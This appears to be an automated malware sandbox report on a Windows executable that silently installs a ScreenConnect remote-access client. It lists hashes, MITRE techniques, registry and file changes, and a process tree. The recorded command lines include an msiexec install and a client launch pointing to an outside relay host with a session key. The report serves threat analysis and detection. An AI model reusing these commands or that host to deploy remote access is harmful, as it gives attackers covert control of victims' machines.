b8809e27701f2dad7c8782761c3c09caf777240b95e7ae7cf08004664fb38b7c

Analysis

max time kernel
150s
max time network
150s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
26/08/2026, 02:28

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-25_f2d1f748d83fe24d31220c081ee12a42_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe
Size 17.4MB
Sample260826-cx2n6abe32
SHA256 b8809e27701f2dad7c8782761c3c09caf777240b95e7ae7cf08004664fb38b7c
MD5 f2d1f748d83fe24d31220c081ee12a42
SHA1 2324a48e16b753a8fc2814c7f8b892c657830aa0
SHA512 af0372d3a37b9f31a8613b5a51cd089adfbbfeb3f63bc4aff3f2a0f48f7e7516d8aad2f6b85c1470de00e4dc859b56c55377dd566dcd651d1e1a739641a5dc90
SSDEEP 393216:zbL8LbI2R6OYj+X/a/ZDK+X/a/H+X/a/K+X/a/n:AYj+X/a/Z2+X/a/H+X/a/K+X/a/n
TLSH
T17B071205B7CAA576D4BE0639D8755210A774FC418B23C7AF5AE0BE3D1C317C0AE2639A
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery ransomware

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	1080	rundll32.exe

Executes dropped EXE 2 IoCs

pid	Process
4964	ScreenConnect.WindowsClient.exe
2928	ScreenConnect.WindowsClient.exe

Loads dropped DLL 31 IoCs

pid	Process
4404	MsiExec.exe
5728	rundll32.exe
5728	rundll32.exe
5728	rundll32.exe
5728	rundll32.exe
5728	rundll32.exe
5728	rundll32.exe
5728	rundll32.exe
5728	rundll32.exe
5728	rundll32.exe
4404	MsiExec.exe
1080	rundll32.exe
1080	rundll32.exe
1080	rundll32.exe
1080	rundll32.exe
1080	rundll32.exe
1080	rundll32.exe
1080	rundll32.exe
1080	rundll32.exe
1080	rundll32.exe
4404	MsiExec.exe
1640	rundll32.exe
1640	rundll32.exe
1640	rundll32.exe
1640	rundll32.exe
1640	rundll32.exe
1640	rundll32.exe
1640	rundll32.exe
1640	rundll32.exe
1640	rundll32.exe
3724	MsiExec.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe

Drops file in Program Files directory 14 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\ScreenConnect Client (c71d59205a966c3b)\ScreenConnect.WindowsClient.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (c71d59205a966c3b)\ScreenConnect.WindowsClient.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (c71d59205a966c3b)\ScreenConnect.WindowsFileManager.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (c71d59205a966c3b)\ScreenConnect.ClientService.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (c71d59205a966c3b)\ScreenConnect.ClientService.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (c71d59205a966c3b)\ScreenConnect.WindowsBackstageShell.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (c71d59205a966c3b)\ScreenConnect.WindowsFileManager.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (c71d59205a966c3b)\Client.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (c71d59205a966c3b)\Client.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (c71d59205a966c3b)\system.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (c71d59205a966c3b)\ScreenConnect.Client.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (c71d59205a966c3b)\ScreenConnect.Core.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (c71d59205a966c3b)\ScreenConnect.Windows.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (c71d59205a966c3b)\ScreenConnect.WindowsBackstageShell.exe.config	msiexec.exe

Drops file in Windows directory 15 IoCs

description	ioc	Process
File created	C:\Windows\Installer\{3570CD9D-2918-7905-AAC6-784AD8719B9F}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\{3570CD9D-2918-7905-AAC6-784AD8719B9F}\DefaultIcon	msiexec.exe
File created	C:\Windows\SystemTemp\~DF32990542DA428A13.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIC4BD.tmp	msiexec.exe
File created	C:\Windows\Installer\e59be84.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\SystemTemp\~DF43D86C7A7A12E805.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIC4ED.tmp	msiexec.exe
File created	C:\Windows\Installer\e59be86.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e59be84.msi	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{3570CD9D-2918-7905-AAC6-784AD8719B9F}	msiexec.exe
File created	C:\Windows\SystemTemp\~DFEE638B81242C414E.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DF283FA01985B5DB7B.TMP	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-08-25_f2d1f748d83fe24d31220c081ee12a42_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 000000000400000059e6eec40365f0360000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c012000000000000000000000000270101000088380159e6eec40000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e8410159e6eec4000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e359e6eec400000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e659e6eec400000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe

Modifies registry class 32 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D9DC075381925097AA6C87A48D17B9F9\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\26.5.3.9704\\c71d59205a966c3b\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\D9DC075381925097AA6C87A48D17B9F9\Full	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-c71d59205a966c3b\URL Protocol	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-c71d59205a966c3b\shell\open\command	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\D9DC075381925097AA6C87A48D17B9F9	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D9DC075381925097AA6C87A48D17B9F9\ProductIcon = "C:\\Windows\\Installer\\{3570CD9D-2918-7905-AAC6-784AD8719B9F}\\DefaultIcon"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-c71d59205a966c3b\shell\open\command	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-c71d59205a966c3b\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (c71d59205a966c3b)\\ScreenConnect.WindowsClient.exe\" \"%1\""	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D9DC075381925097AA6C87A48D17B9F9\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D9DC075381925097AA6C87A48D17B9F9\Version = "436535299"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D9DC075381925097AA6C87A48D17B9F9\Assignment = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\246B896AC14ABC207CD19502A569C6B3	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D9DC075381925097AA6C87A48D17B9F9\SourceList\PackageName = "ScreenConnect.ClientSetup.msi"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-c71d59205a966c3b\UseOriginalUrlEncoding = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-c71d59205a966c3b\shell\open	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D9DC075381925097AA6C87A48D17B9F9\SourceList\Net	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D9DC075381925097AA6C87A48D17B9F9\Clients = 3a0000000000	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D9DC075381925097AA6C87A48D17B9F9\ProductName = "ScreenConnect Client (c71d59205a966c3b)"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-c71d59205a966c3b	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D9DC075381925097AA6C87A48D17B9F9\SourceList	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D9DC075381925097AA6C87A48D17B9F9	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D9DC075381925097AA6C87A48D17B9F9\PackageCode = "D9DC075381925097AA6C87A48D17B9F9"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D9DC075381925097AA6C87A48D17B9F9\AdvertiseFlags = "388"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D9DC075381925097AA6C87A48D17B9F9\AuthorizedLUAApp = "0"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D9DC075381925097AA6C87A48D17B9F9\DeploymentFlags = "3"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\246B896AC14ABC207CD19502A569C6B3\D9DC075381925097AA6C87A48D17B9F9	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D9DC075381925097AA6C87A48D17B9F9\SourceList\Media	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-c71d59205a966c3b	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-c71d59205a966c3b\shell	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D9DC075381925097AA6C87A48D17B9F9\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\26.5.3.9704\\c71d59205a966c3b\\"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D9DC075381925097AA6C87A48D17B9F9\InstanceType = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D9DC075381925097AA6C87A48D17B9F9\SourceList\Media\1 = ";"	msiexec.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4560	msiexec.exe
4560	msiexec.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4120	2026-08-25_f2d1f748d83fe24d31220c081ee12a42_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe
Token: SeShutdownPrivilege	2300	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2300	msiexec.exe
Token: SeSecurityPrivilege	4560	msiexec.exe
Token: SeCreateTokenPrivilege	2300	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2300	msiexec.exe
Token: SeLockMemoryPrivilege	2300	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2300	msiexec.exe
Token: SeMachineAccountPrivilege	2300	msiexec.exe
Token: SeTcbPrivilege	2300	msiexec.exe
Token: SeSecurityPrivilege	2300	msiexec.exe
Token: SeTakeOwnershipPrivilege	2300	msiexec.exe
Token: SeLoadDriverPrivilege	2300	msiexec.exe
Token: SeSystemProfilePrivilege	2300	msiexec.exe
Token: SeSystemtimePrivilege	2300	msiexec.exe
Token: SeProfSingleProcessPrivilege	2300	msiexec.exe
Token: SeIncBasePriorityPrivilege	2300	msiexec.exe
Token: SeCreatePagefilePrivilege	2300	msiexec.exe
Token: SeCreatePermanentPrivilege	2300	msiexec.exe
Token: SeBackupPrivilege	2300	msiexec.exe
Token: SeRestorePrivilege	2300	msiexec.exe
Token: SeShutdownPrivilege	2300	msiexec.exe
Token: SeDebugPrivilege	2300	msiexec.exe
Token: SeAuditPrivilege	2300	msiexec.exe
Token: SeSystemEnvironmentPrivilege	2300	msiexec.exe
Token: SeChangeNotifyPrivilege	2300	msiexec.exe
Token: SeRemoteShutdownPrivilege	2300	msiexec.exe
Token: SeUndockPrivilege	2300	msiexec.exe
Token: SeSyncAgentPrivilege	2300	msiexec.exe
Token: SeEnableDelegationPrivilege	2300	msiexec.exe
Token: SeManageVolumePrivilege	2300	msiexec.exe
Token: SeImpersonatePrivilege	2300	msiexec.exe
Token: SeCreateGlobalPrivilege	2300	msiexec.exe
Token: SeCreateTokenPrivilege	2300	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2300	msiexec.exe
Token: SeLockMemoryPrivilege	2300	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2300	msiexec.exe
Token: SeMachineAccountPrivilege	2300	msiexec.exe
Token: SeTcbPrivilege	2300	msiexec.exe
Token: SeSecurityPrivilege	2300	msiexec.exe
Token: SeTakeOwnershipPrivilege	2300	msiexec.exe
Token: SeLoadDriverPrivilege	2300	msiexec.exe
Token: SeSystemProfilePrivilege	2300	msiexec.exe
Token: SeSystemtimePrivilege	2300	msiexec.exe
Token: SeProfSingleProcessPrivilege	2300	msiexec.exe
Token: SeIncBasePriorityPrivilege	2300	msiexec.exe
Token: SeCreatePagefilePrivilege	2300	msiexec.exe
Token: SeCreatePermanentPrivilege	2300	msiexec.exe
Token: SeBackupPrivilege	2300	msiexec.exe
Token: SeRestorePrivilege	2300	msiexec.exe
Token: SeShutdownPrivilege	2300	msiexec.exe
Token: SeDebugPrivilege	2300	msiexec.exe
Token: SeAuditPrivilege	2300	msiexec.exe
Token: SeSystemEnvironmentPrivilege	2300	msiexec.exe
Token: SeChangeNotifyPrivilege	2300	msiexec.exe
Token: SeRemoteShutdownPrivilege	2300	msiexec.exe
Token: SeUndockPrivilege	2300	msiexec.exe
Token: SeSyncAgentPrivilege	2300	msiexec.exe
Token: SeEnableDelegationPrivilege	2300	msiexec.exe
Token: SeManageVolumePrivilege	2300	msiexec.exe
Token: SeImpersonatePrivilege	2300	msiexec.exe
Token: SeCreateGlobalPrivilege	2300	msiexec.exe
Token: SeCreateTokenPrivilege	2300	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2300	msiexec.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
2300	msiexec.exe
2300	msiexec.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
2300	msiexec.exe
4560	msiexec.exe
4404	MsiExec.exe
3724	MsiExec.exe
2928	ScreenConnect.WindowsClient.exe
2928	ScreenConnect.WindowsClient.exe
2928	ScreenConnect.WindowsClient.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 4120 wrote to memory of 2300	4120	2026-08-25_f2d1f748d83fe24d31220c081ee12a42_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe	89
PID 4560 wrote to memory of 4404	4560	msiexec.exe	91
PID 4404 wrote to memory of 5728	4404	MsiExec.exe	92
PID 4404 wrote to memory of 1080	4404	MsiExec.exe	93
PID 4404 wrote to memory of 1640	4404	MsiExec.exe	94
PID 4560 wrote to memory of 5848	4560	msiexec.exe	100
PID 4560 wrote to memory of 3724	4560	msiexec.exe	102
PID 4560 wrote to memory of 4964	4560	msiexec.exe	103
PID 4964 wrote to memory of 2928	4964	ScreenConnect.WindowsClient.exe	104

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\2026-08-25_f2d1f748d83fe24d31220c081ee12a42_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-25_f2d1f748d83fe24d31220c081ee12a42_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4120
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\26.5.3.9704\c71d59205a966c3b\ScreenConnect.ClientSetup.msi" SC_EXE_PATH="C:\Users\Admin\AppData\Local\Temp\2026-08-25_f2d1f748d83fe24d31220c081ee12a42_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe"
  2⤵
  - Enumerates connected drives
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  PID:2300

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4560
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 965A78AF808E30B93BEF91ECCD864FD3 C
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4404
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI6B53.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240741390 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:5728
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI7016.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240742718 8 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.CheckMsiMotw
    3⤵
    - Badlisted process makes network request
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:1080
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI7901.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240744828 15 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.CheckMsiFileName
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:1640
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  PID:5848
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 995D703E2BE827506AAE8F5352ADA2DC
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:3724
- C:\Program Files (x86)\ScreenConnect Client (c71d59205a966c3b)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (c71d59205a966c3b)\ScreenConnect.WindowsClient.exe" "Rerun" "?e=Access&y=Host&h=support.bluewatersps.com.au&p=8041&s=686d28f7-5149-4cf9-a6a2-9525c64f5728&k=BgIAAACkAABSU0ExAAgAAAEAAQDRdi4k4PZoYHFpZnSV%2f0SQtqFtOIvNQwS3tj5E8po2SBJV4kkcrsdGUzCpGQFMYanjfdhoraDslUqvl1t1k6gxgC3aT3MxrkxpBZ%2faOIozzxalUwA1GqAsT1rXApvd2Qk8UNt8cNVbyqkwlNKgs42mS8JbwV5GWaRhcYKeeuosi7WQN7NxAXmQvzBkSDDCmTop2iCNNVA03b5MdBA%2fn%2bm8711JAjSsYyKMI%2fPB4inhFW15ZZtqXYxJnohbmJZnmfjNrYrSRli4d8FOlJ4qRiU%2bu35MqVjsGSPtvex%2btpn1tZWdlkAzAFZvqpvZrT8XTifPLe85WXC%2bs639O6aFJEzf&n=IIuiuban9mOX1lnNmdGGaLJw3aHeg3IOigmzBZlmBWUEqa2XEMoNj8dNY4nefncPnE4CIpn4iuVg3%2bsAK%2bTF4Wrm2Nme8xtVOkODQ2DyyhCfYaGDdqtwTZLZmvWHQMmO2yFtmYKalnq6oNmLQgUNMpsGuGQHS%2foprpACBRzNJZ79KKzkKfwI7PiBO%2btzQugv7qXqZgJU6MQ2whwF%2bGD88vg%3d&r=&i=BWTP11"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4964
- - C:\Program Files (x86)\ScreenConnect Client (c71d59205a966c3b)\ScreenConnect.WindowsClient.exe
    "C:\Program Files (x86)\ScreenConnect Client (c71d59205a966c3b)\ScreenConnect.WindowsClient.exe" "?e=Access&y=Host&h=support.bluewatersps.com.au&p=8041&s=686d28f7-5149-4cf9-a6a2-9525c64f5728&k=BgIAAACkAABSU0ExAAgAAAEAAQDRdi4k4PZoYHFpZnSV%2f0SQtqFtOIvNQwS3tj5E8po2SBJV4kkcrsdGUzCpGQFMYanjfdhoraDslUqvl1t1k6gxgC3aT3MxrkxpBZ%2faOIozzxalUwA1GqAsT1rXApvd2Qk8UNt8cNVbyqkwlNKgs42mS8JbwV5GWaRhcYKeeuosi7WQN7NxAXmQvzBkSDDCmTop2iCNNVA03b5MdBA%2fn%2bm8711JAjSsYyKMI%2fPB4inhFW15ZZtqXYxJnohbmJZnmfjNrYrSRli4d8FOlJ4qRiU%2bu35MqVjsGSPtvex%2btpn1tZWdlkAzAFZvqpvZrT8XTifPLe85WXC%2bs639O6aFJEzf&n=IIuiuban9mOX1lnNmdGGaLJw3aHeg3IOigmzBZlmBWUEqa2XEMoNj8dNY4nefncPnE4CIpn4iuVg3%2bsAK%2bTF4Wrm2Nme8xtVOkODQ2DyyhCfYaGDdqtwTZLZmvWHQMmO2yFtmYKalnq6oNmLQgUNMpsGuGQHS%2foprpACBRzNJZ79KKzkKfwI7PiBO%2btzQugv7qXqZgJU6MQ2whwF%2bGD88vg%3d&r=&i=BWTP11"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    PID:2928

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
PID:1728

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e59be85.rbs

Path C:\Config.Msi\e59be85.rbs
Size 9KB
SHA256 59eb1ce929259c4a5d1a00c943551042ac78782cc1a81c570c9fe61628560329
MD5 06849d8c91046bcc9da1458f9ce2104d
SHA1 f80b5d014b925a800da71bf4119ebe75a7d76681
SHA512 4bf017daa3a5593d684dac19a656324f87040be690101a39200be4b548139d69035f3eb9e2572c3ad1cbafdcc812faae36a6dec1137cd4d6708bf1152bec6a5c
SSDEEP 96:cmqQQ1rWGWfI50C+ijYenAbUCEDCsThqObUCEDC6jXF6OLThq2HaXS53aihcFynb:chQbg0C+iMAXZeIAZe8VASBHa/ypVp
TLSH
T1EA222F413780A4D5FA9A1A32C7479F603B72ADD89214230F84CA95789E237CE4B7D2DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Client.en-US.resources

